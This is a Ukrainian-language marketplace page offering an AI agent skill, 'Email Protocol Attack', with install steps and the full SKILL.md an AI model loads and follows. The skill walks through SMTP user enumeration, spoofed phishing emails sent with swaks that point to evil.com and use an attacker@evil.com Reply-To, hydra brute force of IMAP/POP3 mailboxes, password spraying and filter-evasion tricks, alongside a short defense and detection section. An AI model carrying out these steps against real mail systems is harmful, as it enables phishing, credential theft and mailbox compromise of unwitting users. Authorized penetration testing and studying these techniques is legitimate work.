Логотип Email Protocol Attack

Email Protocol Attack

Спільнота
brucesongs
email-protocol-attack

Email protocol attacks targeting mail infrastructure at the protocol level.

Огляд

Видавецьbrucesongs
Репозиторійkali-claw
Назва навичкиemail-protocol-attack
Зірки
70
Форки
18
Файли в пакеті
10
ЛіцензіяMIT
Посилання
  • Інструкції у форматі Markdown

    Файл SKILL.md, який модель завантажує за потреби, тож токени витрачаються лише тоді, коли запит справді відповідає навичці.

  • Працює з будь-якою LLM

    Навички ШІ — це звичайний Markdown, а не код для певного постачальника, тому вони працюють із GPT, Claude, Gemini, Grok або локальною моделлю.

  • Файлів у комплекті: 10

    Скрипти, шаблони й довідкові матеріали, які модель може читати під час роботи. Файли доступні лише для читання й ніколи не виконуються.

  • Відкритий вихідний код

    Опубліковано на GitHub користувачем brucesongs. Перегляньте вихідний вміст перед установленням.

Встановлення

Установіть навичку ШІ Email Protocol Attack у TypingMind, щоб використовувати її з будь-якою LLM, або додайте її до іншого агента, що читає SKILL.md.

1

Встановити в TypingMind

TypingMind встановлює навичку безпосередньо з її папки GitHub — читає SKILL.md, збирає файли ресурсів у пакет і зберігає результат локально.

  1. Відкрийте застосунок і перейдіть до Плагіни → Навички.
  2. Виберіть «Встановити з GitHub».
  3. Вставте наведений нижче URL папки навички та підтвердьте встановлення.
    https://github.com/brucesongs/kali-claw/tree/main/skills/email-protocol-attack
  4. Увімкніть навичку в кожному чаті, де хочете її використовувати.
Плагіни → Навички → Нова навичка → За URL GitHub, потім вставте URL папки й натисніть «Продовжити».
2

Встановити в іншому агенті

Будь-який агент, що підтримує формат Agent Skills, може використовувати цю навичку — скопіюйте папку до каталогу навичок цього агента.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/brucesongs/kali-claw.git /tmp/kali-claw
mkdir -p .claude/skills
cp -r /tmp/kali-claw/skills/email-protocol-attack .claude/skills/email-protocol-attack
Після копіювання перезапустіть Claude Code, щоб завантажити нову навичку.

Використовуйте навичку в TypingMind

Увімкніть навичку Email Protocol Attack в будь-якому чаті TypingMind, і далі модель усе зробить сама. Назва й опис навички містяться в системному промпті, а щойно надходить відповідний запит, модель самостійно завантажує повні інструкції — вам не потрібно викликати навичку вручну, і до фактичного використання вона не витрачає токенів.

Модель самостійно завантажує навичку Email Protocol Attack, щойно надходить відповідний запит.

Працює з будь-якою моделлю ШІ

Навички ШІ — це звичайні інструкції Markdown, а не код для певного постачальника, тому навичка Email Protocol Attack не прив’язана до моделі, для якої її створено. Установіть її один раз у TypingMind і використовуйте з GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama або локальною моделлю, яку ви запускаєте самостійно, — усе з вашими власними ключами API.

  • Завантажується лише за потреби

    Системний промпт містить лише назву й опис. Інструкції завантажуються за першого відповідного запиту, тож невикористана навичка нічого не коштує.

  • Змінюйте моделі під час чату

    Оскільки навичка — це інструкції, а не код, зміна моделі не порушує її роботу: наступна модель читає той самий файл SKILL.md.

Інструкції навички

Це вміст файлу SKILL.md, який завантажує модель. Прочитайте його перед установленням — навичка містить інструкції, яких дотримуватиметься ваша модель.

Skill: Email Protocol Attack

Supplementary Files:

  • payloads.md — Payload collection organized by 9 attack categories (SMTP enumeration, open relay, email forgery, SPF/DKIM/DMARC testing, IMAP brute force, Exchange attacks, header manipulation, TLS testing, fingerprinting)
  • test-cases.md — Structured test case templates (8 cases covering enumeration, relay, forgery, SPF bypass, DKIM testing, IMAP brute force, Exchange exploitation, STARTTLS downgrade)
  • guides/smtp-enumeration-relay-guide.md — SMTP reconnaissance and relay testing complete guide
  • guides/email-forgery-spf-dkim-dmarc-guide.md — Email forgery and authentication bypass guide
  • guides/imap-exchange-attack-guide.md — IMAP/POP3 and Exchange server attack guide

Summary

Email Protocol Attack skill domain covering network attack operations.

Tools: smtp-user-enum, swaks, sendemail, nailgun, smtpmap, mutt, openssl

Domain: network-attack

MITRE ATT&CK: T1114-Email Collection

Description

Email protocol attacks targeting mail infrastructure at the protocol level. This covers the full attack chain from SMTP reconnaissance (user enumeration, banner grabbing, open relay detection) through email forgery (SPF/DKIM/DMARC bypass, header manipulation) to mailbox compromise (IMAP/POP3 credential attacks, Exchange exploitation). The skill addresses both offensive techniques and corresponding defense strategies for Postfix, Sendmail, Exchange, and Dovecot servers.

Use Cases

  1. Mail server reconnaissance — Enumerate valid email accounts via SMTP VRFY/EXPN/RCPT TO commands, fingerprint mail server software and version
  2. Open relay detection — Test whether a mail server accepts unauthorized relay, enabling spam propagation or phishing delivery
  3. Email forgery and phishing — Craft spoofed emails at the protocol level, test SPF/DKIM/DMARC bypass techniques for social engineering campaigns
  4. Mailbox credential attacks — Brute force or password spray IMAP/POP3/Exchange credentials to access victim mailboxes
  5. Exchange server exploitation — Leverage Autodiscover, OWA, ActiveSync, and Exchange-specific vulnerabilities for credential harvesting and remote code execution
  6. TLS/STARTTLS testing — Assess mail server TLS configuration, test for downgrade attacks and certificate validation weaknesses
  7. Email header manipulation — Modify email headers for sender spoofing, routing manipulation, and anti-spam bypass

Core Tools

ToolPurposeCommand Example
smtp-user-enumSMTP user enumeration via VRFY/EXPN/RCPTsmtp-user-enum -M VRFY -U users.txt -t 10.0.0.1
swaksSwiss Army Knife for SMTP testing, email forgeryswaks --to victim@target.com --from spoofed@evil.com
sendemailCommand-line email sending with TLS supportsendemail -f attacker@evil.com -t victim@target.com -u "Subject" -m "Body"
nailgunHigh-performance SMTP stress testing and relay checkingnailgun -h mail.target.com -p 25
smtpmapSMTP server fingerprinting and software detectionsmtpmap mail.target.com
muttTerminal-based email client for IMAP/POP3 interactionmutt -f imaps://user:pass@mail.target.com/INBOX
opensslTLS/STARTTLS testing for SMTP and IMAP connectionsopenssl s_client -starttls smtp -connect mail.target.com:25

Methodology

Attack Chain

Reconnaissance → Enumeration → Authentication Testing → Forgery/Phishing → Mailbox Access → Data Exfiltration

1. Reconnaissance (Information Gathering)

  • Identify mail server via DNS MX records: dig MX target.com
  • Banner grabbing: nc mail.target.com 25
  • Software fingerprinting with smtpmap
  • TLS configuration assessment

2. Enumeration (User Discovery)

  • SMTP VRFY command: verify individual accounts
  • SMTP EXPN command: expand mailing lists
  • RCPT TO enumeration: test recipient validity
  • Automated enumeration with smtp-user-enum

3. Authentication Testing (Relay and Credential)

  • Open relay testing: attempt to send through target server without authentication
  • Credential brute force against IMAP/POP3
  • Exchange Autodiscover and OWA probing
  • Password spraying with common passwords

4. Forgery and Phishing (Email Protocol Attacks)

  • SPF bypass: IP-based, header manipulation, include chain exploitation
  • DKIM signature testing: selector enumeration, key length analysis
  • DMARC policy testing: p=none exploitation, subdomain bypass
  • Email header manipulation for sender spoofing

5. Mailbox Access (Post-Exploitation)

  • IMAP/POP3 credential reuse from breached databases
  • Exchange ActiveSync and EWS exploitation
  • Email forwarding rule manipulation
  • Email collection and data exfiltration

Defense Perspective

Defense MeasureDescriptionPriority
SPF/DKIM/DMARC DeploymentPublish strict SPF records, sign with DKIM, enforce DMARC p=rejectCRITICAL
Disable VRFY/EXPNTurn off SMTP verification commands to prevent user enumerationHIGH
TLS EnforcementRequire TLS for all mail submission (port 587) and server-to-server transportHIGH
Authentication PoliciesRequire strong authentication, implement account lockout and rate limitingHIGH
Open Relay PreventionConfigure mail server to reject unauthenticated relay strictlyCRITICAL
Email FilteringDeploy content filters, attachment scanning, and URL rewritingMEDIUM
Monitoring and LoggingLog all SMTP sessions, alert on enumeration attempts and relay abuseMEDIUM

Practical Steps

See payloads.md for detailed payloads, and test-cases.md for complete test checklist. Below is a summary of core operations at each stage.

Step 1: Mail Server Reconnaissance

bash
# Query MX records
dig MX target.com +short

# Banner grabbing
nc mail.target.com 25

# Fingerprint mail server
smtpmap mail.target.com

# Full port scan for mail services
nmap -sV -p 25,110,143,465,587,993,995,2525 target.com

Step 2: User Enumeration

bash
# VRFY method
smtp-user-enum -M VRFY -U /usr/share/wordlists/usernames.txt -t mail.target.com

# RCPT TO method
smtp-user-enum -M RCPT -U /usr/share/wordlists/usernames.txt -t mail.target.com

# EXPN method
smtp-user-enum -M EXPN -U /usr/share/wordlists/usernames.txt -t mail.target.com

Step 3: Email Forgery Testing

bash
# Basic spoofed email
swaks --to ceo@target.com --from support@bank.com --server mail.target.com \
  --header "Subject: Urgent Account Verification" \
  --body "Please verify your account at http://evil.com/phish"

# Test SPF handling
swaks --to test@target.com --from spoofed@external.com --server mail.target.com

# Test with custom headers
swaks --to victim@target.com --from admin@target.com \
  --add-header "X-Priority: 1" \
  --add-header "Reply-To: attacker@evil.com"

Step 4: TLS Configuration Assessment

bash
# Test STARTTLS on SMTP
openssl s_client -starttls smtp -connect mail.target.com:25 -showcerts

# Test IMAPS
openssl s_client -connect mail.target.com:993 -showcerts

# Test POP3S
openssl s_client -connect mail.target.com:995 -showcerts

# Check certificate validity and cipher suites
openssl s_client -starttls smtp -connect mail.target.com:25 2>/dev/null | openssl x509 -noout -dates -subject

Step 5: IMAP/POP3 Credential Testing

bash
# IMAP login test with mutt
mutt -f imaps://testuser:password@mail.target.com/INBOX

# Brute force with hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt mail.target.com imap

# POP3 credential testing
hydra -l admin -P /usr/share/wordlists/rockyou.txt mail.target.com pop3

Detection Methods

Email Gateway Indicators

  • SPF/DKIM/DMARC failures: Authentication failure rate >5% of inbound (potential spoofing campaign).
  • Homoglyph domains: Cyrillic аpple.com vs Latin apple.com; Unicode normalization detection.
  • Reply-To mismatch: From: ceo@company.com but Reply-To: ceo@external.com.

SIEM Detection Rules

  • Splunk SPL: index=email sourcetype=mailscanner | where spf_result="fail" | stats count by sender_domain
  • Microsoft 365 ATP: Native anti-phishing policies.
  • Proofpoint / Mimecast: Email security gateway with BEC detection.

Defense Evasion Techniques

Authentication Bypass

  • Compromise legitimate relay: Use Mailchimp, SendGrid, M365 tenant for reputation.
  • Display name abuse: From: "CEO Name" attacker@external.com - mobile hides email.
  • Unicode homoglyphs: Cyrillic а (U+0430) vs Latin a (U+0061).

Content Stealth

  • Steganography in attachments: Hide payload in image LSB.
  • Password-protected archive: Password in email body; evades AV signature scanning.
  • Multipart MIME abuse: Hide payload in MIME structure; some scanners inspect only first part.

Hacker Laws

  1. Trust but Verify — Never trust email headers. Sender addresses, Reply-To fields, and routing information can all be forged at the protocol level. Verify mail authentication (SPF/DKIM/DMARC) independently.

  2. First Principles — SMTP was designed for a trusted network without authentication. Understanding the protocol's original design (clear-text, no built-in security) explains every attack vector from enumeration to forgery.

  3. Divergent Thinking — When direct email delivery is blocked, explore alternative paths: open relay through third-party servers, subdomain SPF misconfigurations, DKIM key length weaknesses, or DMARC subdomain policy gaps.

  4. Economy of Mechanism — Simpler mail security is more reliable. A properly configured SPF + DKIM + DMARC chain with p=reject is more effective than complex content filtering rules that try to detect forged emails after acceptance.

Learning Resources

Skill supplementary files:

  • payloads.md — Complete payload collection (9 attack categories, ready to copy and use)
  • test-cases.md — Structured test cases (8 case templates, with prerequisites and expected results)
  • guides/smtp-enumeration-relay-guide.md — SMTP enumeration and relay testing guide
  • guides/email-forgery-spf-dkim-dmarc-guide.md — Email forgery and authentication bypass guide
  • guides/imap-exchange-attack-guide.md — IMAP/Exchange server attack guide

Related Skills:

  • skills/network-pentest/SKILL.md — Network penetration testing foundation
  • skills/social-engineering/SKILL.md — Social engineering and phishing campaigns
  • skills/password-attack/SKILL.md — Password attack techniques for credential testing
  • skills/recon-osint/SKILL.md — Open source intelligence for email harvesting

External Resources:

Файли в пакеті

Модель читає ці файли за потреби, поки навичку завантажено. Вони доступні для читання й ніколи не виконуються.

Поширені запитання

Що робить навичка ШІ Email Protocol Attack?

Email protocol attacks targeting mail infrastructure at the protocol level.

Навіщо використовувати Email Protocol Attack у TypingMind?

Тому що ви встановлюєте її один раз і використовуєте з будь-якою моделлю. Email Protocol Attack — це звичайний Markdown, а не код для конкретного постачальника, тому та сама навичка працює з GPT-5, Claude, Gemini, Grok або локальною моделлю. Ви можете змінити модель навіть посеред чату, і навичка продовжить працювати. TypingMind використовує ваші власні ключі API, тож ви платите безпосередньо постачальникам замість передплати за кожне місце користувача, а ваші навички й чати залишаються у вашому сховищі.

Як встановити Email Protocol Attack у TypingMind?

Відкрийте в TypingMind Плагіни → Навички → Встановити з GitHub і вставте https://github.com/brucesongs/kali-claw/tree/main/skills/email-protocol-attack. TypingMind прочитає файл SKILL.md, додасть супровідні файли та встановить навичку, яку можна вмикати окремо для кожного чату.

Які моделі ШІ можуть використовувати Email Protocol Attack?

Будь-яка модель, яку ви підключите в TypingMind. Навички ШІ — це звичайні інструкції у форматі Markdown, а не код для конкретного постачальника, тому GPT, Claude, Gemini, Grok і локальні моделі можуть завантажувати цю навичку, коли запит їй відповідає.

Зі скількома моделями ШІ можна використовувати Email Protocol Attack?

Зі скількома забажаєте. Якщо модель підтримує навички, ви можете використовувати з нею Email Protocol Attack — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama та інші — усе в TypingMind із власними ключами API.

Чи безкоштовна навичка ШІ Email Protocol Attack?

Так. Навичку опубліковано на GitHub: brucesongs, за ліцензією MIT. Ви платите лише своєму постачальнику ШІ за використані токени.

Що таке навички ШІ?

Навичка ШІ — це багаторазовий набір інструкцій, який навчає модель ШІ виконувати одне конкретне завдання. Він відповідає відкритому формату Agent Skills: файл SKILL.md із назвою та описом, а також скрипти, шаблони чи довідкові файли, які можуть знадобитися моделі. Модель читає інструкції лише тоді, коли ваш запит відповідає навичці, тому встановлена навичка нічого не коштує, доки її не використано.

Чим навички ШІ відрізняються від плагінів або серверів MCP?

Плагін або сервер MCP надає моделі нові інструменти для виклику — код, який десь виконується й повертає результат. Натомість навичка ШІ надає моделі знання та порядок дій: як підійти до завдання, яких кроків дотримуватися та яким має бути якісний результат. Навички — це звичайний Markdown, тож їм не потрібні ні сервер, ні ключ API, ні середовище виконання, і вони працюють із будь-якою моделлю.

Усі

Створіть власний ШІ-простір уже зараз

Підпишіться на нашу розсилку, щоб дізнаватися про нові функції та майбутні розіграші 👇